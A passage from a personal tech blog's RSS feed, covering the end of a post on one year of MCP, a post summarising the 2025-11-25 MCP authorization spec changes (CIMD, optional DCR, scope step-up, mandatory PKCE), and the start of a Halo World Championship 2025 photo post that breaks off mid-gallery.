>Aaron</a> is the go-to person for auth standards in the MCP space).</li>
<li><strong>When you impact the industry, bring the industry into the fold.</strong> MCP is not, as the <a
  href="https://blog.modelcontextprotocol.io/posts/2025-11-25-first-mcp-anniversary/"
  
  target="_blank" rel="noreferrer noopener"
>anniversary blog post states</a>, a one-company effort. As it started gaining traction in the industry, it was important to broaden the table and bring in more stakeholders that can help the maintainers bring the right decisions. For example, we worked with Visual Studio Code to <a
  href="https://den.dev/blog/cimd-vs-code-mcp/"
  
  target="_blank" rel="noreferrer noopener"
>bring CIMD support</a>. Visual Studio Code has also been the testing ground for a lot of MCP features from the start, a testament to a good rapport built between the MCP crew and the Visual Studio Code engineers.</li>
</ul>
<p>Above all, being involved with MCP continues to reinforce my belief that <strong>it&rsquo;s always about the people</strong>. Protocols and products change, but it&rsquo;s the people building them and consuming them who actually matter.</p>







<figure>
  <a href="https://assets.den.dev/images/postmedia/one-year-of-mcp/mcp-auth-people.webp">
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="A group of folks working on MCP authorization, meeting in California."
    
    
    
      src="https://assets.den.dev/images/postmedia/one-year-of-mcp/mcp-auth-people.webp"
    
  />
  </a>
  <figcaption class="text-center">A group of folks working on MCP authorization, meeting in California.</figcaption>
</figure>
<h2 id="latest-changes" class="relative group">Latest changes <span class="absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100"><a class="group-hover:text-primary-300 dark:group-hover:text-neutral-700" style="text-decoration-line: none !important;" href="#latest-changes" aria-label="Anchor">#</a></span></h2>
<p>With the new spec out, I would encourage you to check out <a
  href="https://modelcontextprotocol.io/specification/2025-11-25/changelog"
  
  target="_blank" rel="noreferrer noopener"
>what&rsquo;s new in the latest release</a>. The <a
  href="https://blog.modelcontextprotocol.io/posts/2025-11-25-first-mcp-anniversary/"
  
  target="_blank" rel="noreferrer noopener"
>anniversary blog post</a> also shines a light on what we&rsquo;ve done for the past year and how the community influenced the direction.</p>
<p>And as always, your feedback and ideas around MCP are always welcome - use the <a
  href="https://github.com/modelcontextprotocol/modelcontextprotocol"
  
  target="_blank" rel="noreferrer noopener"
>specification repo</a> as your starting point.</p>
]]></content:encoded></item><item><title>What's New In The 2025-11-25 MCP Authorization Spec</title><link>https://den.dev/blog/mcp-november-authorization-spec/</link><pubDate>Mon, 24 Nov 2025 00:00:00 +0000</pubDate><author>Den Delimarsky</author><guid>https://den.dev/blog/mcp-november-authorization-spec/</guid><description>Get a sneak peek on what&rsquo;s changing in the new authorization specification for MCP that will land with the new spec release.</description><content:encoded><![CDATA[<p>We&rsquo;re less than twenty four hours away from the new MCP specification dropping - it will mark the first anniversary of the protocol. In my eyes, this is an important milestone because the protocol is <em>much more mature</em> and <em>stable</em> than it was back at the start of the year.</p>
<p>You&rsquo;ve likely seen me ramble through the year about the <a
  href="https://den.dev/blog/model-context-protocol-oauth-rfc/"
  
  target="_blank" rel="noreferrer noopener"
>authorization specification</a> (<a
  href="https://den.dev/blog/new-mcp-authorization-spec/"
  
  target="_blank" rel="noreferrer noopener"
>which landed</a>, what feels like, eons ago) and all of the <a
  href="https://den.dev/blog/security-rakes-mcp/"
  
  target="_blank" rel="noreferrer noopener"
>MCP security items</a>. Well, this specification release will <em>also</em> come with some authorization updates.</p>
<h2 id="client-registration" class="relative group">Client registration <span class="absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100"><a class="group-hover:text-primary-300 dark:group-hover:text-neutral-700" style="text-decoration-line: none !important;" href="#client-registration" aria-label="Anchor">#</a></span></h2>
<h3 id="oauth-client-id-metadata-documents" class="relative group">OAuth Client ID Metadata Documents <span class="absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100"><a class="group-hover:text-primary-300 dark:group-hover:text-neutral-700" style="text-decoration-line: none !important;" href="#oauth-client-id-metadata-documents" aria-label="Anchor">#</a></span></h3>
<p>This is, hands down, the most exciting change. Earlier this month <a
  href="https://den.dev/blog/cimd-vs-code-mcp/"
  
  target="_blank" rel="noreferrer noopener"
>I wrote</a> about <a
  href="https://oauth.net/2/client-id-metadata-document/"
  
  target="_blank" rel="noreferrer noopener"
>Client ID Metadata Documents</a> (CIMD) and how they are used with Visual Studio Code. Moving forward, this will be <em>the default</em> way for clients to do registration with authorization servers (AS).</p>
<p>A CIMD-based approach is removing the need to deal with the headache of <a
  href="https://www.rfc-editor.org/rfc/rfc7591"
  
  target="_blank" rel="noreferrer noopener"
>Dynamic Client Registration</a> (DCR), which has been a thorn in my side for the better part of the year. The challenge with DCR is that because most AS don&rsquo;t support it, developers had to jump through a bunch of hoops to work around this limitation. This led to a number of uncomfortable conversations where security vulnerabilities were uncovered because, as it turns out, handing security-related responsibilities to people who are not really familiar with the security space is a bad idea.</p>
<p>To implement DCR from scratch, developers often needed to re-implement a bunch of AS logic to &ldquo;mask&rdquo; the actual downstream AS. &ldquo;Problematic approach&rdquo; doesn&rsquo;t even begin to describe the situation. In practice, this meant that they needed to learn how to manage client registrations, validate them, implement rate limiting, and so on. If your job is to <em>build an MCP server</em>, this is the last project you want to tackle. On the AS end, DCR was also problematic because it opened the doors for Denial of Service (DoS) attacks, where the same client can have <em>many</em> registrations, and if you don&rsquo;t have some kind of upper bound control in place, things can get dicey quickly.</p>
<p>CIMD solves that problem by effectively stating that <em>every client</em> now has its own metadata available at a pre-defined URL, managed by said client. The AS can take that registration and properly log it, manage it, and even deny it if it so desires (e.g., a highly-protected corporate environment). Because all revolves around URLs when it comes to CIMD, the AS can also make <em>a bunch</em> of policy decisions based on the domain alone (e.g., allow all <code>*.microsoft.com</code> clients but deny all that are hosted in the <code>*.ru</code> zone). Neat!</p>
<h3 id="dynamic-client-registration-is-now-not-guaranteed" class="relative group">Dynamic Client Registration is now not guaranteed <span class="absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100"><a class="group-hover:text-primary-300 dark:group-hover:text-neutral-700" style="text-decoration-line: none !important;" href="#dynamic-client-registration-is-now-not-guaranteed" aria-label="Anchor">#</a></span></h3>
<p>With CIMD in play, the spec also changed the verbiage around Dynamic Client Registration from <strong>SHOULD</strong> to <strong>MAY</strong> support - that is, for backwards compatibility, DCR will still be there, but it&rsquo;s not guaranteed:</p>
<blockquote class="quoteback" darkmode="true" data-title="MCP Authorization" data-author="Model Context Protocol Contributors" cite="https://modelcontextprotocol.io/specification/draft/basic/authorization#dynamic-client-registration">
    
MCP clients and authorization servers MAY support the OAuth 2.0 Dynamic Client Registration Protocol RFC7591 to allow MCP clients to obtain OAuth client IDs without user interaction. This option is included for backwards compatibility with earlier versions of the MCP authorization spec.

    <footer>Model Context Protocol Contributors<cite> <a href="https://modelcontextprotocol.io/specification/draft/basic/authorization#dynamic-client-registration">https://modelcontextprotocol.io/specification/draft/basic/authorization#dynamic-client-registration</a></cite></footer>
</blockquote>
<p>If you are an implementer, you don&rsquo;t <em>need to</em> support DCR from now on.</p>
<h3 id="preregistration-guidance" class="relative group">Preregistration guidance <span class="absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100"><a class="group-hover:text-primary-300 dark:group-hover:text-neutral-700" style="text-decoration-line: none !important;" href="#preregistration-guidance" aria-label="Anchor">#</a></span></h3>
<p>We got a lot of questions from folks that weren&rsquo;t quite sure how to handle scenarios when they want to manage the OAuth process end-to-end with <em>their own client IDs</em>. That is - what if you do not want to go through the registration steps? There are two options that are now <a
  href="https://modelcontextprotocol.io/specification/draft/basic/authorization#preregistration"
  
  target="_blank" rel="noreferrer noopener"
>well-documented</a>:</p>
<ol>
<li>You can rely on the client itself having been pre-registered with an AS (e.g., how Visual Studio Code is pre-registered with Entra ID). The client ID in this scenario will be hardcoded.</li>
<li>You can have the client provide a UI where <em>customers</em> can enter their own client ID and secret.</li>
</ol>
<p>You might&rsquo;ve noticed that Visual Studio Code, Claude Desktop, and ChatGPT already provide affordances to enter the client ID and secret when you connect to a protected MCP server and need to set OAuth up.</p>
<h3 id="priority-order-for-client-registration-paths" class="relative group">Priority order for client registration paths <span class="absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100"><a class="group-hover:text-primary-300 dark:group-hover:text-neutral-700" style="text-decoration-line: none !important;" href="#priority-order-for-client-registration-paths" aria-label="Anchor">#</a></span></h3>
<p>With different approaches to registration, the natural next question is - &ldquo;<em>How do I prioritize each if I want to support multiple?</em>&rdquo; This is also now <a
  href="https://modelcontextprotocol.io/specification/draft/basic/authorization#client-registration-approaches"
  
  target="_blank" rel="noreferrer noopener"
>explicitly documented</a>. It boils down to:</p>
<ol>
<li>Use pre-registration, if available.</li>
<li>Use the CIMD-based approach.</li>
<li>Use the DCR-based approach.</li>
<li>If all else fails, just ask the user to provide the client details.</li>
</ol>
<h2 id="discovery-enhancements" class="relative group">Discovery enhancements <span class="absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100"><a class="group-hover:text-primary-300 dark:group-hover:text-neutral-700" style="text-decoration-line: none !important;" href="#discovery-enhancements" aria-label="Anchor">#</a></span></h2>
<h3 id="clearer-path-to-prm-discovery" class="relative group">Clearer path to PRM discovery <span class="absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100"><a class="group-hover:text-primary-300 dark:group-hover:text-neutral-700" style="text-decoration-line: none !important;" href="#clearer-path-to-prm-discovery" aria-label="Anchor">#</a></span></h3>
<p>With the release of the <em>last</em> specification version (<code>2025-06-18</code>), we introduced the concept of a <strong>Protected Resource Metadata</strong> document (see <a
  href="https://datatracker.ietf.org/doc/rfc9728/"
  
  target="_blank" rel="noreferrer noopener"
>RFC 9728</a>). With this change, MCP servers could now <em>declare</em> what AS they are using, but the discovery relied on the server responding with a <code>WWW-Authenticate</code> header that points to the PRM document via the <code>resource_metadata</code> field. This can work in <em>most</em> scenarios but sometimes it&rsquo;s not possible to properly embed this metadata.</p>
<p>The spec now encodes the logic for clients to try and get the PRM by following <a
  href="https://modelcontextprotocol.io/specification/draft/basic/authorization#protected-resource-metadata-discovery-requirements"
  
  target="_blank" rel="noreferrer noopener"
>a set of conventions</a>.</p>
<h3 id="openid-connect-discovery-10-support" class="relative group">OpenID Connect Discovery 1.0 support <span class="absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100"><a class="group-hover:text-primary-300 dark:group-hover:text-neutral-700" style="text-decoration-line: none !important;" href="#openid-connect-discovery-10-support" aria-label="Anchor">#</a></span></h3>
<p>We <a
  href="https://modelcontextprotocol.io/specification/draft/basic/authorization#authorization-server-metadata-discovery"
  
  target="_blank" rel="noreferrer noopener"
>added</a> OpenID Connect Discovery (OIDC) 1.0 support to get the authorization server metadata. Using this approach allows us to be more flexible about the <em>location</em> of the AS metadata without compromising the steps needed in the authorization flow. This was already well-known, but is now codified in the spec.</p>
<p>Authorization servers now <strong>MUST</strong> provide at least one of two discovery mechanisms (standard OAuth 2.0 or OIDC).</p>
<h2 id="scope-management" class="relative group">Scope Management <span class="absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100"><a class="group-hover:text-primary-300 dark:group-hover:text-neutral-700" style="text-decoration-line: none !important;" href="#scope-management" aria-label="Anchor">#</a></span></h2>
<p>Remember how this summer I was hyping up <a
  href="https://github.com/modelcontextprotocol/modelcontextprotocol/pull/835"
  
  target="_blank" rel="noreferrer noopener"
>SEP-835</a>? It&rsquo;s OK if you don&rsquo;t, but that change introduced support for <em>incremental scope requests</em> in the MCP authorization specification. This capability allows servers to gradually request new scopes on an as-needed basis instead of having everything at once and storing over-permissioned tokens.</p>
<p>We added a few things to the specification that now make it very easy to understand <em>how</em> to accomplish this:</p>
<ul>
<li>Formally introduced <a
  href="https://modelcontextprotocol.io/specification/draft/basic/authorization#step-up-authorization-flow"
  
  target="_blank" rel="noreferrer noopener"
>Step-Up Authorization Flow</a> for handling insufficient permissions during runtime operations.</li>
<li>There is now a <a
  href="https://modelcontextprotocol.io/specification/draft/basic/authorization#scope-selection-strategy"
  
  target="_blank" rel="noreferrer noopener"
>Scope Selection Strategy</a> section that outlines how clients can determine what scopes to use.</li>
<li>Servers <strong>SHOULD</strong> include a <code>scope</code> parameter in <code>WWW-Authenticate</code> headers to indicate required scopes. This means that you no longer need to rely on <code>scopes_supported</code> in the PRM as the go-to mechanism for understanding what scopes to request - just lean on the server to tell you.</li>
<li>There is also a detailed <a
  href="https://modelcontextprotocol.io/specification/draft/basic/authorization#scope-challenge-handling"
  
  target="_blank" rel="noreferrer noopener"
>Scope Challenge Handling</a> section that offers some really crisp guidance on how to handle insufficient scope errors - you will need this if your original token doesn&rsquo;t have the right scopes from the start.</li>
</ul>
<p>And in case you missed it, <code>401</code> errors are not the only ones you will need to handle - there is now an <a
  href="https://modelcontextprotocol.io/specification/draft/basic/authorization#runtime-insufficient-scope-errors"
  
  target="_blank" rel="noreferrer noopener"
>explicit callout</a> for <code>HTTP 403 Forbidden</code> with <code>insufficient_scope</code> that can happen. This is your regular reminder to always look a bit beyond the HTTP error codes.</p>
<h2 id="smaller-enhancements" class="relative group">Smaller enhancements <span class="absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100"><a class="group-hover:text-primary-300 dark:group-hover:text-neutral-700" style="text-decoration-line: none !important;" href="#smaller-enhancements" aria-label="Anchor">#</a></span></h2>
<p>To top all of the above, we&rsquo;ve also introduced a number of smaller enhancements and clarifications that will help builders ensure that their MCP clients and servers are secure:</p>
<ul>
<li><a
  href="https://oauth.net/2/pkce/"
  
  target="_blank" rel="noreferrer noopener"
>Proof Key for Code Exchange</a> (PKCE) is <a
  href="https://modelcontextprotocol.io/specification/draft/basic/authorization#authorization-code-protection"
  
  target="_blank" rel="noreferrer noopener"
>now mandatory </a>- clients <strong>MUST</strong> verify PKCE support before proceeding with authorization. Clients <strong>MUST</strong> also <a
  href="https://modelcontextprotocol.io/specification/draft/basic/authorization#authorization-code-protection"
  
  target="_blank" rel="noreferrer noopener"
>use S256 code challenge</a> method when technically capable</li>
<li>Just piggybacking on the previous point, we added some clarifications on the use of <code>code_challenge_methods_supported</code> in AS metadata to make client decisions around PKCE support easier.</li>
<li>Because we added support for CIMD, we <em>also</em> added a fairly extensive <a
  href="https://modelcontextprotocol.io/specification/draft/basic/authorization#client-id-metadata-document-security"
  
  target="_blank" rel="noreferrer noopener"
>Client ID Metadata Document Security section</a> covering SSRF risks, <code>localhost</code> redirect URI risks, and trust policies.</li>
</ul>
<h2 id="whats-next" class="relative group">What&rsquo;s next <span class="absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100"><a class="group-hover:text-primary-300 dark:group-hover:text-neutral-700" style="text-decoration-line: none !important;" href="#whats-next" aria-label="Anchor">#</a></span></h2>
<p>Now we&rsquo;re just waiting for the spec to drop on November 25th, 2025 - stay tuned for a blog post announcing this on the <a
  href="https://blog.modelcontextprotocol.io/"
  
  target="_blank" rel="noreferrer noopener"
>Model Context Protocol blog</a>. I also would <em>highly</em> recommend you check out our <a
  href="https://modelcontextprotocol.io/docs/tutorials/security/security_best_practices"
  
  target="_blank" rel="noreferrer noopener"
>Security Best Practices document</a> that outlines some of the emerging threats around MCP and how to mitigate them.</p>
]]></content:encoded></item><item><title>Halo World Championship 2025</title><link>https://den.dev/blog/halo-world-championship-2025/</link><pubDate>Thu, 20 Nov 2025 00:00:00 +0000</pubDate><author>Den Delimarsky</author><guid>https://den.dev/blog/halo-world-championship-2025/</guid><description>The family tradition of attending every Halo World Championship continued in 2025, an extra special year because of the last HCS installment on top of Halo Infinite.</description><content:encoded><![CDATA[<div class="flex px-4 py-3 rounded-md bg-primary-100 dark:bg-primary-900">
  <span class="text-primary-400 ltr:pr-3 rtl:pl-3">
    

  <span class="relative inline-block align-text-bottom icon" aria-hidden="true">
    <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path fill="currentColor" d="M256 0C114.6 0 0 114.6 0 256s114.6 256 256 256s256-114.6 256-256S397.4 0 256 0zM256 128c17.67 0 32 14.33 32 32c0 17.67-14.33 32-32 32S224 177.7 224 160C224 142.3 238.3 128 256 128zM296 384h-80C202.8 384 192 373.3 192 360s10.75-24 24-24h16v-64H224c-13.25 0-24-10.75-24-24S210.8 224 224 224h32c13.25 0 24 10.75 24 24v88h16c13.25 0 24 10.75 24 24S309.3 384 296 384z"/></svg>

  </span>


  </span>
  <span class="dark:text-neutral-300">This blog post is part of a <a
  href="https://den.dev/tags/photos/"
  
  target="_blank" rel="noreferrer noopener"
>📸 photography series</a> on this website. Occasionally I take photos and aggregate them here.</span>
</div>
<p>Just like in <a
  href="https://den.dev/blog/halo-world-championship-2023/"
  
  target="_blank" rel="noreferrer noopener"
>2023</a> and <a
  href="https://den.dev/blog/halo-world-championship-2024/"
  
  target="_blank" rel="noreferrer noopener"
>2024</a>, my wife and I made our yearly trek to Seattle to see <a
  href="https://www.halowaypoint.com/news/hwc-2025"
  
  target="_blank" rel="noreferrer noopener"
>Halo World Championship 2025</a> in-person. This year was <em>extra</em> special because it also was the last year of Halo Competitive Series (HCS) that&rsquo;s based on <a
  href="https://en.wikipedia.org/wiki/Halo_Infinite"
  
  target="_blank" rel="noreferrer noopener"
>Halo Infinite</a>, effectively being the farewell to this installment of the Halo series.</p>
<p>Halo Infinite might have reached the end of its life, but the folks at Halo Studios sure put on a show - The Last Dance, as one might say. For three days we watched some <em>really</em> intense matches, participated in a Free For All tournament, took a boatload of photos, and of course ran into quite a few friends we haven&rsquo;t seen in a while. Oh, and be among the first to try the new <a
  href="https://en.wikipedia.org/wiki/Halo:_Campaign_Evolved"
  
  target="_blank" rel="noreferrer noopener"
>Halo Campaign Evolved</a>.</p>
<p>Attending HWC is a reminder what Halo and HCS specifically is <em>really</em> about (and why I stuck around this franchise for so long) - a diverse community of folks coming together from all over the world to watch a just as diverse roster of players showcasing some top tier Halo skills in action. <strong><a
  href="https://xcancel.com/hookscourt/status/1472838944236601347"
  
  target="_blank" rel="noreferrer noopener"
>Halo is for everyone</a></strong>.</p>
<h2 id="event-photos" class="relative group">Event photos <span class="absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100"><a class="group-hover:text-primary-300 dark:group-hover:text-neutral-700" style="text-decoration-line: none !important;" href="#event-photos" aria-label="Anchor">#</a></span></h2>
<p>And just like last year, I brought my giant camera (thank you to the amazing folks at Halo Studios for helping me get a media pass) and right away put it to good use. Here are some of the highlights.</p>







<figure>
  
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="Warthog right at the event entrance."
    
    
    
      src="https://assets.den.dev/images/postmedia/halo-world-championship-2025/photo-1.webp"
    
  />
  
  <figcaption class="text-center">Warthog right at the event entrance.</figcaption>
</figure>







<figure>
  
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="Master Chief - also right at the event entrance."
    
    
    
      src="https://assets.den.dev/images/postmedia/halo-world-championship-2025/photo-2.webp"
    
  />
  
  <figcaption class="text-center">Master Chief - also right at the event entrance.</figcaption>
</figure>







<figure>
  
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="A cleaner view of the Warthog replica. Fully drive-able, apparently."
    
    
    
      src="https://assets.den.dev/images/postmedia/halo-world-championship-2025/photo-3.webp"
    
  />
  
  <figcaption class="text-center">A cleaner view of the Warthog replica. Fully drive-able, apparently.</figcaption>
</figure>







<figure>
  
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="Who knew that the Warthog dashboard is this minimalist."
    
    
    
      src="https://assets.den.dev/images/postmedia/halo-world-championship-2025/photo-4.webp"
    
  />
  
  <figcaption class="text-center">Who knew that the Warthog dashboard is this minimalist.</figcaption>
</figure>







<figure>
  
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="Just like every year, the cosplayers are exceptional."
    
    
    
      src="https://assets.den.dev/images/postmedia/halo-world-championship-2025/photo-5.webp"
    
  />
  
  <figcaption class="text-center">Just like every year, the cosplayers are exceptional.</figcaption>
</figure>







<figure>
  
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="Even the OG Master Chief was in attendance."
    
    
    
      src="https://assets.den.dev/images/postmedia/halo-world-championship-2025/photo-6.webp"
    
  />
  
  <figcaption class="text-center">Even the OG Master Chief was in attendance.</figcaption>
</figure>







<figure>
  
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="Community Stage banner above (you guessed it) the Community Stage."
    
    
    
      src="https://assets.den.dev/images/postmedia/halo-world-championship-2025/photo-7.webp"
    
  />
  
  <figcaption class="text-center">Community Stage banner above (you guessed it) the Community Stage.</figcaption>
</figure>







<figure>
  
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="The trio from last year is still here."
    
    
    
      src="https://assets.den.dev/images/postmedia/halo-world-championship-2025/photo-8.webp"
    
  />
  
  <figcaption class="text-center">The trio from last year is still here.</figcaption>
</figure>







<figure>
  
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="View of the stage before everyone rolled in."
    
    
    
      src="https://assets.den.dev/images/postmedia/halo-world-championship-2025/photo-9.webp"
    
  />
  
  <figcaption class="text-center">View of the stage before everyone rolled in.</figcaption>
</figure>







<figure>
  
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="Again - cosplayers were exceptional."
    
    
    
      src="https://assets.den.dev/images/postmedia/halo-world-championship-2025/photo-10.webp"
    
  />
  
  <figcaption class="text-center">Again - cosplayers were exceptional.</figcaption>
</figure>







<figure>
  
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="No downtime for Renegade."
    
    
    
      src="https://assets.den.dev/images/postmedia/halo-world-championship-2025/photo-11.webp"
    
  />
  
  <figcaption class="text-center">No downtime for Renegade.</figcaption>
</figure>







<figure>
  
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="Bound taking advantage of Training Mode before the match."
    
    
    
      src="https://assets.den.dev/images/postmedia/halo-world-championship-2025/photo-12.webp"
    
  />
  
  <figcaption class="text-center">Bound taking advantage of Training Mode before the match.</figcaption>
</figure>







<figure>
  
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="About to go against Optic."
    
    
    
      src="https://assets.den.dev/images/postmedia/halo-world-championship-2025/photo-13.webp"
    
  />
  
  <figcaption class="text-center">About to go against Optic.</figcaption>
</figure>







<figure>
  
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="Bound getting ready to play."
    
    
    
      src="https://assets.den.dev/images/postmedia/halo-world-championship-2025/photo-14.webp"
    
  />
  
  <figcaption class="text-center">Bound getting ready to play.</figcaption>
</figure>







<figure>
  
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="Taulek before the match."
    
    
    
      src="https://assets.den.dev/images/postmedia/halo-world-championship-2025/photo-15.webp"
    
  />
  
  <figcaption class="text-center">Taulek before the match.</figcaption>
</figure>







<figure>
  
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="Secondary play stage."
    
    
    
      src="https://assets.den.dev/images/postmedia/halo-world-championship-2025/photo-16.webp"
    
  />
  
  <figcaption class="text-center">Secondary play stage.</figcaption>
</figure>







<figure>
  
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="A recreation of Streets for classic Halo playtime."
    
    
    
      src="https://assets.den.dev/images/postmedia/halo-world-championship-2025/photo-17.webp"
    
  />
  
  <figcaption class="text-center">A recreation of Streets for classic Halo playtime.</figcaption>
</figure>







<figure>
  
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="For those who are not into the competitive scene, there was plenty of time to play Extermination."
    
    
    
      src="https://assets.den.dev/images/postmedia/halo-world-championship-2025/photo-18.webp"
    
  />
  
  <figcaption class="text-center">For those who are not into the competitive scene, there was plenty of time to play Extermination.</figcaption>
</figure>







<figure>
  
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="And for those that are into the competitive scene but are not pro players, there were Open Tournaments."
    
    
    
      src="https://assets.den.dev/images/postmedia/halo-world-championship-2025/photo-19.webp"
    
  />
  
  <figcaption class="text-center">And for those that are into the competitive scene but are not pro players, there were Open Tournaments.</figcaption>
</figure>







<figure>
  
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="Halo Community Stage before some casual matches."
    
    
    
      src="https://assets.den.dev/images/postmedia/halo-world-championship-2025/photo-20.webp"
    
  />
  
  <figcaption class="text-center">Halo Community Stage before some casual matches.</figcaption>
</figure>







<figure>
  
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="Jorge. Just Jorge."
    
    
    
      src="https://assets.den.dev/images/postmedia/halo-world-championship-2025/photo-21.webp"
    
  />
  
  <figcaption class="text-center">Jorge. Just Jorge.</figcaption>
</figure>







<figure>
  
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="A statue of Emile-A239."
    
    
    
      src="https://assets.den.dev/images/postmedia/halo-world-championship-2025/photo-22.webp"
    
  />
  
  <figcaption class="text-center">A statue of Emile-A239.</figcaption>
</figure>







<figure>
  
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="I asked Tony to pose. This is his &#34;serious look&#34;."
    
    
    
      src="https://assets.den.dev/images/postmedia/halo-world-championship-2025/photo-23.webp"
    
  />
  
  <figcaption class="text-center">I asked Tony to pose. This is his &ldquo;serious look&rdquo;.</figcaption>
</figure>







<figure>
  
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="Clutch being Clutch."
    
    
    
      src="https://assets.den.dev/images/postmedia/halo-world-championship-2025/photo-24.webp"
    
  />
  
  <figcaption class="text-center">Clutch being Clutch.</figcaption>
</figure>







<figure>
  
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="Clutch is also very appreciative of the Halo community."
    
    
    
      src="https://assets.den.dev/images/postmedia/halo-world-championship-2025/photo-25.webp"
    
  />
  
  <figcaption class="text-center">Clutch is also very appreciative of the Halo community.</figcaption>
</figure>







<figure>
  
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="Optic Gaming preparing for a match."
    
    
    
      src="https://assets.den.dev/images/postmedia/halo-world-championship-2025/photo-26.webp"
    
  />
  
  <figcaption class="text-center">Optic Gaming preparing for a match.</figcaption>
</figure>







<figure>
  
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="Lottie during the broadcast."
    
    
    
      src="https://assets.den.dev/images/postmedia/halo-world-championship-2025/photo-27.webp"
    
  />
  
  <figcaption class="text-center">Lottie during the broadcast.</figcaption>
</figure>







<figure>
  
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="Tony during the same broadcast."
    
    
    
      src="https://assets.den.dev/images/postmedia/halo-world-championship-2025/photo-28.webp"
    
  />
  
  <figcaption class="text-center">Tony during the same broadcast.</figcaption>
</figure>







<figure>
  
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="And of course, can&#39;t have a broadcast without Clutch."
    
    
    
      src="https://assets.den.dev/images/postmedia/halo-world-championship-2025/photo-29.webp"
    
  />
  
  <figcaption class="text-center">And of course, can&rsquo;t have a broadcast without Clutch.</figcaption>
</figure>







<figure>
  
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="SoulSnipe determined to win that match."
    
    
    
      src="https://assets.den.dev/images/postmedia/halo-world-championship-2025/photo-30.webp"
    
  />
  
  <figcaption class="text-center">SoulSnipe determined to win that match.</figcaption>
</figure>







<figure>
  
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="SoulSnipe checking his settings one more time before the match."
    
    
    
      src="https://assets.den.dev/images/postmedia/halo-world-championship-2025/photo-31.webp"
    
  />
  
  <figcaption class="text-center">SoulSnipe checking his settings one more time before the match.</figcaption>
</figure>







<figure>
  
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="The announcement of Halo Campaign Evolved."
    
    
    
      src="https://assets.den.dev/images/postmedia/halo-world-championship-2025/photo-32.webp"
    
  />
  
  <figcaption class="text-center">The announcement of Halo Campaign Evolved.</figcaption>
</figure>







<figure>
  
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="More than one person immortalized the moment Halo Campaign Evolved was shown for the first time."
    
    
    
      src="https://assets.den.dev/images/postmedia/halo-world-championship-2025/photo-33.webp"
    
  />
  
  <figcaption class="text-center">More than one person immortalized the moment Halo Campaign Evolved was shown for the first time.</figcaption>
</figure>







<figure>
  
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="The 2004 OG Halo champions."
    
    
    
      src="https://assets.den.dev/images/postmedia/halo-world-championship-2025/photo-34.webp"
    
  />
  
